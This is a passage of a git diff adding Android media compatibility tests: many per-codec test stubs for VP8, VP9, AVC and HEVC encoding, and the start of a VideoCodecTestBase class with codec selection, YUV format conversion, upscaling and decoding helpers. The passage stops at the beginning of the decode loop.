+ throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
+ " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
+ " for bitrate " + TEST_BITRATES_SET[i]);
+ }
+ }
+ }
+
+ public void testBasicVP8CBR() throws Exception {
+ internalTestBasic(VP8_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testBasicVP8VBR() throws Exception {
+ internalTestBasic(VP8_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testBasicVP9CBR() throws Exception {
+ internalTestBasic(VP9_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testBasicVP9VBR() throws Exception {
+ internalTestBasic(VP9_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testBasicAVCCBR() throws Exception {
+ internalTestBasic(AVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testBasicAVCVBR() throws Exception {
+ internalTestBasic(AVC_MIME, VIDEO_ControlRateVariable);
+ }
+ public void testBasicHEVCCBR() throws Exception {
+ internalTestBasic(HEVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testBasicHEVCVBR() throws Exception {
+ internalTestBasic(HEVC_MIME, VIDEO_ControlRateVariable);
+ }
+ public void testAsyncEncodingVP8CBR() throws Exception {
+ internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testAsyncEncodingVP8VBR() throws Exception {
+ internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testAsyncEncodingVP9CBR() throws Exception {
+ internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testAsyncEncodingVP9VBR() throws Exception {
+ internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testAsyncEncodingAVCCBR() throws Exception {
+ internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testAsyncEncodingAVCVBR() throws Exception {
+ internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateVariable);
+ }
+ public void testAsyncEncodingHEVCCBR() throws Exception {
+ internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testAsyncEncodingHEVCVBR() throws Exception {
+ internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testSyncFrameVP8CBR() throws Exception {
+ internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testSyncFrameVP8VBR() throws Exception {
+ internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, false);
+ }
+
+ public void testSyncFrameVP8NdkCBR() throws Exception {
+ internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testSyncFrameVP8NdkVBR() throws Exception {
+ internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, true);
+ }
+
+ public void testSyncFrameVP9CBR() throws Exception {
+ internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testSyncFrameVP9VBR() throws Exception {
+ internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, false);
+ }
+
+ public void testSyncFrameVP9NdkCBR() throws Exception {
+ internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testSyncFrameVP9NdkVBR() throws Exception {
+ internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, true);
+ }
+
+ public void testSyncFrameAVCCBR() throws Exception {
+ internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testSyncFrameAVCVBR() throws Exception {
+ internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, false);
+ }
+
+ public void testSyncFrameAVCNdkCBR() throws Exception {
+ internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testSyncFrameAVCNdkVBR() throws Exception {
+ internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, true);
+ }
+
+ public void testSyncFrameHEVCCBR() throws Exception {
+ internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testSyncFrameHEVCVBR() throws Exception {
+ internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, false);
+ }
+
+ public void testSyncFrameHEVCNdkCBR() throws Exception {
+ internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testSyncFrameHEVCNdkVBR() throws Exception {
+ internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, true);
+ }
+
+ public void testDynamicBitrateChangeVP8CBR() throws Exception {
+ internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testDynamicBitrateChangeVP8VBR() throws Exception {
+ internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, false);
+ }
+ public void testDynamicBitrateChangeVP8NdkCBR() throws Exception {
+ internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testDynamicBitrateChangeVP8NdkVBR() throws Exception {
+ internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, true);
+ }
+ public void testDynamicBitrateChangeVP9CBR() throws Exception {
+ internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testDynamicBitrateChangeVP9VBR() throws Exception {
+ internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, false);
+ }
+ public void testDynamicBitrateChangeVP9NdkCBR() throws Exception {
+ internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testDynamicBitrateChangeVP9NdkVBR() throws Exception {
+ internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, true);
+ }
+ public void testDynamicBitrateChangeAVCCBR() throws Exception {
+ internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testDynamicBitrateChangeAVCVBR() throws Exception {
+ internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, false);
+ }
+ public void testDynamicBitrateChangeAVCNdkCBR() throws Exception {
+ internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testDynamicBitrateChangeAVCNdkVBR() throws Exception {
+ internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, true);
+ }
+ public void testDynamicBitrateChangeHEVCCBR() throws Exception {
+ internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, false);
+ }
+ public void testDynamicBitrateChangeHEVCVBR() throws Exception {
+ internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, false);
+ }
+ public void testDynamicBitrateChangeHEVCNdkCBR() throws Exception {
+ internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, true);
+ }
+ public void testDynamicBitrateChangeHEVCNdkVBR() throws Exception {
+ internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, true);
+ }
+
+ public void testEncoderQualityVP8CBR() throws Exception {
+ internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testEncoderQualityVP8VBR() throws Exception {
+ internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testEncoderQualityVP9CBR() throws Exception {
+ internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testEncoderQualityVP9VBR() throws Exception {
+ internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testEncoderQualityAVCCBR() throws Exception {
+ internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testEncoderQualityAVCVBR() throws Exception {
+ internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testEncoderQualityHEVCCBR() throws Exception {
+ internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateConstant);
+ }
+ public void testEncoderQualityHEVCVBR() throws Exception {
+ internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateVariable);
+ }
+
+ public void testParallelEncodingAndDecodingVP8() throws Exception {
+ internalTestParallelEncodingAndDecoding(VP8_MIME);
+ }
+ public void testParallelEncodingAndDecodingVP9() throws Exception {
+ internalTestParallelEncodingAndDecoding(VP9_MIME);
+ }
+ public void testParallelEncodingAndDecodingAVC() throws Exception {
+ internalTestParallelEncodingAndDecoding(AVC_MIME);
+ }
+ public void testParallelEncodingAndDecodingHEVC() throws Exception {
+ internalTestParallelEncodingAndDecoding(HEVC_MIME);
+ }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
new file mode 100644
index 0000000..82c8b18
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
@@ -0,0 +1,2111 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.media.MediaCodec;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Looper;
+import android.os.Handler;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.media.cts.R;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Locale;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by the decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+public class VideoCodecTestBase extends AndroidTestCase {
+
+ protected static final String TAG = "VideoCodecTestBase";
+ protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
+ protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
+ protected static final String AVC_MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
+ protected static final String HEVC_MIME = MediaFormat.MIMETYPE_VIDEO_HEVC;
+ protected static final String SDCARD_DIR =
+ Environment.getExternalStorageDirectory().getAbsolutePath();
+
+ // Default timeout for MediaCodec buffer dequeue - 200 ms.
+ protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
+ // Default timeout for MediaEncoderAsync - 30 sec.
+ protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
+ // Default sync frame interval in frames
+ private static final int SYNC_FRAME_INTERVAL = 30;
+ // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
+ protected static final int VIDEO_ControlRateVariable = 1;
+ protected static final int VIDEO_ControlRateConstant = 2;
+ // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
+ // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
+ private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
+ // Allowable color formats supported by codec - in order of preference.
+ private static final int[] mSupportedColorList = {
+ CodecCapabilities.COLOR_FormatYUV420Planar,
+ CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
+ CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
+ COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
+ };
+ // Scaled image cache list - contains scale factors, for which up-scaled frames
+ // were calculated and were written to yuv file.
+ ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
+
+ private Resources mResources;
+
+ @Override
+ public void setContext(Context context) {
+ super.setContext(context);
+ mResources = mContext.getResources();
+ }
+
+ /**
+ * Video codec properties generated by getVideoCodecProperties() function.
+ */
+ private class CodecProperties {
+ CodecProperties(String codecName, int colorFormat) {
+ this.codecName = codecName;
+ this.colorFormat = colorFormat;
+ }
+ public final String codecName; // OpenMax component name for Video codec.
+ public final int colorFormat; // Color format supported by codec.
+ }
+
+ /**
+ * Function to find Video codec.
+ *
+ * Iterates through the list of available codecs and tries to find
+ * Video codec, which can support either YUV420 planar or NV12 color formats.
+ * If forceGoogleCodec parameter set to true the function always returns
+ * Google Video codec.
+ * If forceGoogleCodec parameter set to false the functions looks for platform
+ * specific Video codec first. If no platform specific codec exist, falls back to
+ * Google Video codec.
+ *
+ * @param isEncoder Flag if encoder is requested.
+ * @param forceGoogleCodec Forces to use Google codec.
+ */
+ private CodecProperties getVideoCodecProperties(
+ boolean isEncoder,
+ MediaFormat format,
+ boolean forceGoogleCodec) throws Exception {
+ CodecProperties codecProperties = null;
+ String mime = format.getString(MediaFormat.KEY_MIME);
+
+ // Loop through the list of codec components in case platform specific codec
+ // is requested.
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+ if (isEncoder != codecInfo.isEncoder()) {
+ continue;
+ }
+ Log.v(TAG, codecInfo.getName());
+ // TODO: remove dependence of Google from the test
+ // Check if this is Google codec - we should ignore it.
+ if (codecInfo.isVendor() && forceGoogleCodec) {
+ continue;
+ }
+
+ for (String type : codecInfo.getSupportedTypes()) {
+ if (!type.equalsIgnoreCase(mime)) {
+ continue;
+ }
+ CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
+ if (!capabilities.isFormatSupported(format)) {
+ continue;
+ }
+
+ // Get candidate codec properties.
+ Log.v(TAG, "Found candidate codec " + codecInfo.getName());
+ for (int colorFormat: capabilities.colorFormats) {
+ Log.v(TAG, " Color: 0x" + Integer.toHexString(colorFormat));
+ }
+
+ // Check supported color formats.
+ for (int supportedColorFormat : mSupportedColorList) {
+ for (int codecColorFormat : capabilities.colorFormats) {
+ if (codecColorFormat == supportedColorFormat) {
+ codecProperties = new CodecProperties(codecInfo.getName(),
+ codecColorFormat);
+ Log.v(TAG, "Found target codec " + codecProperties.codecName +
+ ". Color: 0x" + Integer.toHexString(codecColorFormat));
+ // return first vendor codec (hopefully HW) found
+ if (codecInfo.isVendor()) {
+ return codecProperties;
+ }
+ }
+ }
+ }
+ }
+ }
+ if (codecProperties == null) {
+ Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
+ + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
+ }
+ return codecProperties;
+ }
+
+ /**
+ * Parameters for encoded video stream.
+ */
+ protected class EncoderOutputStreamParameters {
+ // Name of raw YUV420 input file. When the value of this parameter
+ // is set to null input file descriptor from inputResourceId parameter
+ // is used instead.
+ public String inputYuvFilename;
+ // Name of scaled YUV420 input file.
+ public String scaledYuvFilename;
+ // File descriptor for the raw input file (YUV420). Used only if
+ // inputYuvFilename parameter is null.
+ int inputResourceId;
+ // Name of the IVF file to write encoded bitsream
+ public String outputIvfFilename;
+ // Mime Type of the Encoded content.
+ public String codecMimeType;
+ // Force to use Google Video encoder.
+ boolean forceGoogleEncoder;
+ // Number of frames to encode.
+ int frameCount;
+ // Frame rate of input file in frames per second.
+ int frameRate;
+ // Encoded frame width.
+ public int frameWidth;
+ // Encoded frame height.
+ public int frameHeight;
+ // Encoding bitrate array in bits/second for every frame. If array length
+ // is shorter than the total number of frames, the last value is re-used for
+ // all remaining frames. For constant bitrate encoding single element
+ // array can be used with first element set to target bitrate value.
+ public int[] bitrateSet;
+ // Encoding bitrate type - VBR or CBR
+ public int bitrateType;
+ // Number of temporal layers
+ public int temporalLayers;
+ // Desired key frame interval - codec is asked to generate key frames
+ // at a period defined by this parameter.
+ public int syncFrameInterval;
+ // Optional parameter - forced key frame interval. Used to
+ // explicitly request the codec to generate key frames using
+ // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
+ public int syncForceFrameInterval;
+ // Buffer timeout
+ long timeoutDequeue;
+ // Flag if encoder should run in Looper thread.
+ boolean runInLooperThread;
+ // Flag if use NdkMediaCodec
+ boolean useNdk;
+ }
+
+ private String getCodecSuffix(String codecMimeType) {
+ switch(codecMimeType) {
+ case VP8_MIME:
+ return "vp8";
+ case VP9_MIME:
+ return "vp9";
+ case AVC_MIME:
+ return "avc";
+ case HEVC_MIME:
+ return "hevc";
+ default:
+ Log.w(TAG, "getCodecSuffix got an unexpected codecMimeType.");
+ }
+ return "video";
+ }
+
+ /**
+ * Generates an array of default parameters for encoder output stream based on
+ * upscaling value.
+ */
+ protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
+ String inputYuvName,
+ String outputIvfBaseName,
+ String codecMimeType,
+ int encodeSeconds,
+ int[] resolutionScales,
+ int frameWidth,
+ int frameHeight,
+ int frameRate,
+ int bitrateMode,
+ int[] bitrates,
+ boolean syncEncoding) {
+ assertTrue(resolutionScales.length == bitrates.length);
+ int numCodecs = resolutionScales.length;
+ ArrayList<EncoderOutputStreamParameters> outputParameters =
+ new ArrayList<EncoderOutputStreamParameters>(numCodecs);
+ for (int i = 0; i < numCodecs; i++) {
+ EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
+ if (inputYuvName != null) {
+ params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
+ } else {
+ params.inputYuvFilename = null;
+ }
+ params.scaledYuvFilename = SDCARD_DIR + File.separator +
+ outputIvfBaseName + resolutionScales[i]+ ".yuv";
+ params.inputResourceId = R.raw.football_qvga;
+ params.codecMimeType = codecMimeType;
+ String codecSuffix = getCodecSuffix(codecMimeType);
+ params.outputIvfFilename = SDCARD_DIR + File.separator +
+ outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
+ params.forceGoogleEncoder = false;
+ params.frameCount = encodeSeconds * frameRate;
+ params.frameRate = frameRate;
+ params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
+ params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
+ params.bitrateSet = new int[1];
+ params.bitrateSet[0] = bitrates[i];
+ params.bitrateType = bitrateMode;
+ params.temporalLayers = 0;
+ params.syncFrameInterval = SYNC_FRAME_INTERVAL;
+ params.syncForceFrameInterval = 0;
+ if (syncEncoding) {
+ params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
+ params.runInLooperThread = false;
+ } else {
+ params.timeoutDequeue = 0;
+ params.runInLooperThread = true;
+ }
+ outputParameters.add(params);
+ }
+ return outputParameters;
+ }
+
+ protected EncoderOutputStreamParameters getDefaultEncodingParameters(
+ String inputYuvName,
+ String outputIvfBaseName,
+ String codecMimeType,
+ int encodeSeconds,
+ int frameWidth,
+ int frameHeight,
+ int frameRate,
+ int bitrateMode,
+ int bitrate,
+ boolean syncEncoding) {
+ int[] scaleValues = { 1 };
+ int[] bitrates = { bitrate };
+ return getDefaultEncodingParameterList(
+ inputYuvName,
+ outputIvfBaseName,
+ codecMimeType,
+ encodeSeconds,
+ scaleValues,
+ frameWidth,
+ frameHeight,
+ frameRate,
+ bitrateMode,
+ bitrates,
+ syncEncoding).get(0);
+ }
+
+ /**
+ * Converts (interleaves) YUV420 planar to NV12.
+ * Assumes packed, macroblock-aligned frame with no cropping
+ * (visible/coded row length == stride).
+ */
+ private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
+ byte[] nv = new byte[yuv.length];
+ // Y plane we just copy.
+ System.arraycopy(yuv, 0, nv, 0, width * height);
+
+ // U & V plane we interleave.
+ int u_offset = width * height;
+ int v_offset = u_offset + u_offset / 4;
+ int nv_offset = width * height;
+ for (int i = 0; i < width * height / 4; i++) {
+ nv[nv_offset++] = yuv[u_offset++];
+ nv[nv_offset++] = yuv[v_offset++];
+ }
+ return nv;
+ }
+
+ /**
+ * Converts (de-interleaves) NV12 to YUV420 planar.
+ * Stride may be greater than width, slice height may be greater than height.
+ */
+ private static byte[] NV12ToYUV420(int width, int height,
+ int stride, int sliceHeight, byte[] nv12) {
+ byte[] yuv = new byte[width * height * 3 / 2];
+
+ // Y plane we just copy.
+ for (int i = 0; i < height; i++) {
+ System.arraycopy(nv12, i * stride, yuv, i * width, width);
+ }
+
+ // U & V plane - de-interleave.
+ int u_offset = width * height;
+ int v_offset = u_offset + u_offset / 4;
+ int nv_offset;
+ for (int i = 0; i < height / 2; i++) {
+ nv_offset = stride * (sliceHeight + i);
+ for (int j = 0; j < width / 2; j++) {
+ yuv[u_offset++] = nv12[nv_offset++];
+ yuv[v_offset++] = nv12[nv_offset++];
+ }
+ }
+ return yuv;
+ }
+
+ /**
+ * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
+ * height equal to the crop window.
+ */
+ private static byte[] PackYUV420(int left, int top, int width, int height,
+ int stride, int sliceHeight, byte[] src) {
+ byte[] dst = new byte[width * height * 3 / 2];
+ // Y copy.
+ for (int i = 0; i < height; i++) {
+ System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
+ }
+ // U and V copy.
+ int u_src_offset = stride * sliceHeight;
+ int v_src_offset = u_src_offset + u_src_offset / 4;
+ int u_dst_offset = width * height;
+ int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+ // Downsample and align to floor-2 for crop origin.
+ left /= 2;
+ top /= 2;
+ for (int i = 0; i < height / 2; i++) {
+ System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
+ dst, u_dst_offset + i * (width / 2), width / 2);
+ System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
+ dst, v_dst_offset + i * (width / 2), width / 2);
+ }
+ return dst;
+ }
+
+
+ private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
+ byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
+ for (int i = 0; i < dstHeight/2 - 1; i++) {
+ int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
+ int dstOffset1 = dstOffset0 + dstWidth;
+ int srcOffset0 = i * srcStride + srcByteOffset;
+ int srcOffset1 = srcOffset0 + srcStride;
+ int pixel00 = (int)src[srcOffset0++] & 0xff;
+ int pixel10 = (int)src[srcOffset1++] & 0xff;
+ for (int j = 0; j < dstWidth/2 - 1; j++) {
+ int pixel01 = (int)src[srcOffset0++] & 0xff;
+ int pixel11 = (int)src[srcOffset1++] & 0xff;
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+ dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+ dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
+ pixel00 = pixel01;
+ pixel10 = pixel11;
+ }
+ // last column
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+ dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+ }
+
+ // last row
+ int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
+ int dstOffset1 = dstOffset0 + dstWidth;
+ int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
+ int pixel00 = (int)src[srcOffset0++] & 0xff;
+ for (int j = 0; j < dstWidth/2 - 1; j++) {
+ int pixel01 = (int)src[srcOffset0++] & 0xff;
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+ dst[dstOffset1++] = (byte)pixel00;
+ dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
+ pixel00 = pixel01;
+ }
+ // the very last pixel - bottom right
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset0++] = (byte)pixel00;
+ dst[dstOffset1++] = (byte)pixel00;
+ dst[dstOffset1++] = (byte)pixel00;
+ }
+
+ /**
+ * Up-scale image.
+ * Scale factor is defined by source and destination width ratio.
+ * Only 1:2 and 1:4 up-scaling is supported for now.
+ * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
+ * image is scaled.
+ */
+ private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
+ int dstWidth, int dstHeight) throws Exception {
+ int srcYSize = srcWidth * srcHeight;
+ int dstYSize = dstWidth * dstHeight;
+ byte[] dst = null;
+ if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
+ // 1:2 upscale
+ dst = new byte[dstWidth * dstHeight * 3 / 2];
+ imageUpscale1To2(src, 0, srcWidth,
+ dst, 0, dstWidth, dstHeight); // Y
+ imageUpscale1To2(src, srcYSize, srcWidth / 2,
+ dst, dstYSize, dstWidth / 2, dstHeight / 2); // U
+ imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
+ dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2); // V
+ } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
+ // 1:4 upscale - in two steps
+ int midWidth = 2 * srcWidth;
+ int midHeight = 2 * srcHeight;
+ byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
+ dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
+
+ } else {
+ throw new RuntimeException("Can not find proper scaling function");
+ }
+
+ return dst;
+ }
+
+ private void cacheScaledImage(
+ String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
+ String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
+ InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
+ FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
+ int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
+ byte[] srcFrame = new byte[srcFrameSize];
+ byte[] dstFrame = null;
+ Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
+ while (true) {
+ int bytesRead = srcStream.read(srcFrame);
+ if (bytesRead != srcFrame.length) {
+ break;
+ }
+ if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
+ dstFrame = srcFrame;
+ } else {
+ dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
+ dstFrameWidth, dstFrameHeight);
+ }
+ dstFile.write(dstFrame);
+ }
+ srcStream.close();
+ dstFile.close();
+ }
+
+
+ /**
+ * A basic check if an encoded stream is decodable.
+ *
+ * The most basic confirmation we can get about a frame
+ * being properly encoded is trying to decode it.
+ * (Especially in realtime mode encode output is non-
+ * deterministic, therefore a more thorough check like
+ * md5 sum comparison wouldn't work.)
+ *
+ * Indeed, MediaCodec will raise an IllegalStateException
+ * whenever video decoder fails to decode a frame, and
+ * this test uses that fact to verify the bitstream.
+ *
+ * @param inputIvfFilename The name of the IVF file containing encoded bitsream.
+ * @param outputYuvFilename The name of the output YUV file (optional).
+ * @param frameRate Frame rate of input file in frames per second
+ * @param forceGoogleDecoder Force to use Google Video decoder.
+ * @param codecConfigs Codec config buffers to be added to the format
+ */
+ protected ArrayList<MediaCodec.BufferInfo> decode(
+ String inputIvfFilename,
+ String outputYuvFilename,
+ String codecMimeType,
+ int frameRate,
+ boolean forceGoogleDecoder,
+ ArrayList<ByteBuffer> codecConfigs) throws Exception {
+ ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+
+ // Open input/output.
+ IvfReader ivf = new IvfReader(inputIvfFilename);
+ int frameWidth = ivf.getWidth();
+ int frameHeight = ivf.getHeight();
+ int frameCount = ivf.getFrameCount();
+ int frameStride = frameWidth;
+ int frameSliceHeight = frameHeight;
+ int cropLeft = 0;
+ int cropTop = 0;
+ int cropWidth = frameWidth;
+ int cropHeight = frameHeight;
+ assertTrue(frameWidth > 0);
+ assertTrue(frameHeight > 0);
+ assertTrue(frameCount > 0);
+
+ // Create decoder.
+ MediaFormat format = MediaFormat.createVideoFormat(
+ codecMimeType, ivf.getWidth(), ivf.getHeight());
+ CodecProperties properties = getVideoCodecProperties(
+ false /* encoder */, format, forceGoogleDecoder);
+ if (properties == null) {
+ ivf.close();
+ return null;
+ }
+ int frameColorFormat = properties.colorFormat;
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+ int csdIndex = 0;
+ for (ByteBuffer config : codecConfigs) {
+ format.setByteBuffer("csd-" + csdIndex, config);
+ ++csdIndex;
+ }
+
+ FileOutputStream yuv = null;
+ if (outputYuvFilename != null) {
+ yuv = new FileOutputStream(outputYuvFilename, false);
+ }
+
+ Log.d(TAG, "Creating decoder " + properties.codecName +
+ ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
+ ". " + frameWidth + " x " + frameHeight);
+ Log.d(TAG, " Format: " + format);
+ Log.d(TAG, " In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
+ MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
+ decoder.configure(format,
+ null, // surface
+ null, // crypto
+ 0); // flags
+ decoder.start();
+
+ ByteBuffer[] inputBuffers = decoder.getInputBuffers();
+ ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
+ MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+
+ // decode loop
